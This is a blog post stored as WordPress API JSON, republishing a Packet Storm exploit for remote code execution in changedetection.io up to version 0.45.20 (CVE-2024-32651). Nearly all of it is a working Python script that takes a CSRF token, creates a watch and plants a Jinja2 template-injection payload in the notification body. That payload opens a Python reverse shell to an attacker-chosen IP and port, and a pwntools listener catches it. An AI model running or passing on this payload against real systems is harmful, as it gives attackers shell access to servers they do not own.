{"id":57204,"date":"2024-05-31T20:40:13","date_gmt":"2024-05-31T16:40:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178878\/changedetection-exec.txt"},"modified":"2024-05-31T20:40:13","modified_gmt":"2024-05-31T16:40:13","slug":"changedetection-0-45-20-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/changedetection-0-45-20-remote-code-execution\/","title":{"rendered":"changedetection 0.45.20 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: changedetection &lt;= 0.45.20 Remote Code Execution (RCE)<br \/># Date: 5-26-2024<br \/># Exploit Author: Zach Crosman (zcrosman)<br \/># Vendor Homepage: changedetection.io<br \/># Software Link: https:\/\/github.com\/dgtlmoon\/changedetection.io<br \/># Version: &lt;= 0.45.20<br \/># Tested on: Linux<br \/># CVE : CVE-2024-32651<\/p>\n<p>from pwn import *<br \/>import requests<br \/>from bs4 import BeautifulSoup<br \/>import argparse<\/p>\n<p>def start_listener(port):<br \/>listener = listen(port)<br \/>print(f&#8221;Listening on port {port}&#8230;&#8221;)<br \/>conn = listener.wait_for_connection()<br \/>print(&#8220;Connection received!&#8221;)<br \/>context.newline = b&#8217;\\r\\n&#8217;<br \/># Switch to interactive mode<br \/>conn.interactive()<\/p>\n<p>def add_detection(url, listen_ip, listen_port, notification_url=&#8221;):<br \/>session = requests.Session()<\/p>\n<p># First request to get CSRF token<br \/>request1_headers = {<br \/>&#8220;Cache-Control&#8221;: &#8220;max-age=0&#8221;,<br \/>&#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;,<br \/>&#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7&#8221;,<br \/>&#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;,<br \/>&#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.9&#8221;,<br \/>&#8220;Connection&#8221;: &#8220;close&#8221;<br \/>}<\/p>\n<p>response = session.get(url, headers=request1_headers)<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<br \/>csrf_token = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;csrf_token&#8217;})[&#8216;value&#8217;]print(f&#8217;Obtained CSRF token: {csrf_token}&#8217;)<\/p>\n<p># Second request to submit the form and get the redirect URL<br \/>add_url = f&#8221;{url}\/form\/add\/quickwatch&#8221;<br \/>add_url_headers = { # Define add_url_headers here<br \/>&#8220;Origin&#8221;: url,<br \/>&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;<br \/>}<br \/>add_url_data = {<br \/>&#8220;csrf_token&#8221;: csrf_token,<br \/>&#8220;url&#8221;: &#8220;https:\/\/reddit.com\/r\/baseball&#8221;,<br \/>&#8220;tags&#8221;: &#8221;,<br \/>&#8220;edit_and_watch_submit_button&#8221;: &#8220;Edit &gt; Watch&#8221;,<br \/>&#8220;processor&#8221;: &#8220;text_json_diff&#8221;<br \/>}<\/p>\n<p>post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)<\/p>\n<p># Extract the URL from the Location header<br \/>if &#8216;Location&#8217; in post_response.headers:<br \/>redirect_url = post_response.headers[&#8216;Location&#8217;]print(f&#8217;Redirect URL: {redirect_url}&#8217;)<br \/>else:<br \/>print(&#8216;No redirect URL found&#8217;)<br \/>return<\/p>\n<p># Third request to add the changedetection url with ssti in notification config<br \/>save_detection_url = f&#8221;{url}{redirect_url}&#8221;<br \/>save_detection_headers = { # Define save_detection_headers here<br \/>&#8220;Referer&#8221;: redirect_url,<br \/>&#8220;Cookie&#8221;: f&#8221;session={session.cookies.get(&#8216;session&#8217;)}&#8221;<br \/>}<\/p>\n<p>save_detection_data = {<br \/>&#8220;csrf_token&#8221;: csrf_token,<br \/>&#8220;url&#8221;: &#8220;https:\/\/reddit.com\/r\/all&#8221;,<br \/>&#8220;title&#8221;: &#8221;,<br \/>&#8220;tags&#8221;: &#8221;,<br \/>&#8220;time_between_check-weeks&#8221;: &#8221;,<br \/>&#8220;time_between_check-days&#8221;: &#8221;,<br \/>&#8220;time_between_check-hours&#8221;: &#8221;,<br \/>&#8220;time_between_check-minutes&#8221;: &#8221;,<br \/>&#8220;time_between_check-seconds&#8221;: &#8217;30&#8217;,<br \/>&#8220;filter_failure_notification_send&#8221;: &#8216;y&#8217;,<br \/>&#8220;fetch_backend&#8221;: &#8216;system&#8217;,<br \/>&#8220;webdriver_delay&#8221;: &#8221;,<br \/>&#8220;webdriver_js_execute_code&#8221;: &#8221;,<br \/>&#8220;method&#8221;: &#8216;GET&#8217;,<br \/>&#8220;headers&#8221;: &#8221;,<br \/>&#8220;body&#8221;: &#8221;,<br \/>&#8220;notification_urls&#8221;: notification_url,<br \/>&#8220;notification_title&#8221;: &#8221;,<br \/>&#8220;notification_body&#8221;: f&#8221;&#8221;&#8221;<br \/>{{% for x in ().__class__.__base__.__subclasses__() %}}<br \/>{{% if &#8220;warning&#8221; in x.__name__ %}}<br \/>{{{{x()._module.__builtins__[&#8216;__import__&#8217;](&#8216;os&#8217;).popen(&#8220;python3 -c &#8216;import os,pty,socket;s=socket.socket();s.connect((\\\\&#8221;{listen_ip}\\\\&#8221;,{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\\&#8221;\/bin\/bash\\\\&#8221;)'&#8221;).read()}}}}<br \/>{{% endif %}}<br \/>{{% endfor %}}<br \/>&#8220;&#8221;&#8221;,<br \/>&#8220;notification_format&#8221;: &#8216;System default&#8217;,<br \/>&#8220;include_filters&#8221;: &#8221;,<br \/>&#8220;subtractive_selectors&#8221;: &#8221;,<br \/>&#8220;filter_text_added&#8221;: &#8216;y&#8217;,<br \/>&#8220;filter_text_replaced&#8221;: &#8216;y&#8217;,<br \/>&#8220;filter_text_removed&#8221;: &#8216;y&#8217;,<br \/>&#8220;trigger_text&#8221;: &#8221;,<br \/>&#8220;ignore_text&#8221;: &#8221;,<br \/>&#8220;text_should_not_be_present&#8221;: &#8221;,<br \/>&#8220;extract_text&#8221;: &#8221;,<br \/>&#8220;save_button&#8221;: &#8216;Save&#8217;<br \/>}<br \/>final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)<\/p>\n<p>print(&#8216;Final request made.&#8217;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>parser = argparse.ArgumentParser(description=&#8217;Add detection and start listener&#8217;)<br \/>parser.add_argument(&#8216;&#8211;url&#8217;, type=str, required=True, help=&#8217;Base URL of the target site&#8217;)<br \/>parser.add_argument(&#8216;&#8211;port&#8217;, type=int, help=&#8217;Port for the listener&#8217;, default=4444)<br \/>parser.add_argument(&#8216;&#8211;ip&#8217;, type=str, required=True, help=&#8217;IP address for the listener&#8217;)<br \/>parser.add_argument(&#8216;&#8211;notification&#8217;, type=str, help=&#8217;Notification url if you don\\&#8217;t want to use the system default&#8217;)<br \/>args = parser.parse_args()<\/p>\n<p>add_detection(args.url, args.ip, args.port, args.notification)<br \/>start_listener(args.port)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: changedetection &lt;= 0.45.20 Remote Code Execution (RCE)# Date: 5-26-2024# Exploit Author: Zach Crosman (zcrosman)# Vendor Homepage: changedetection.io# Software Link: https:\/\/github.com\/dgtlmoon\/changedetection.io# Version: &lt;= 0.45.20# Tested on: Linux# CVE : CVE-2024-32651 from pwn import *import requestsfrom bs4 import BeautifulSoupimport argparse def start_listener(port):listener = listen(port)print(f&#8221;Listening on port {port}&#8230;&#8221;)conn = listener.wait_for_connection()print(&#8220;Connection received!&#8221;)context.newline = b&#8217;\\r\\n&#8217;# Switch to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57204","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57204"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57204\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}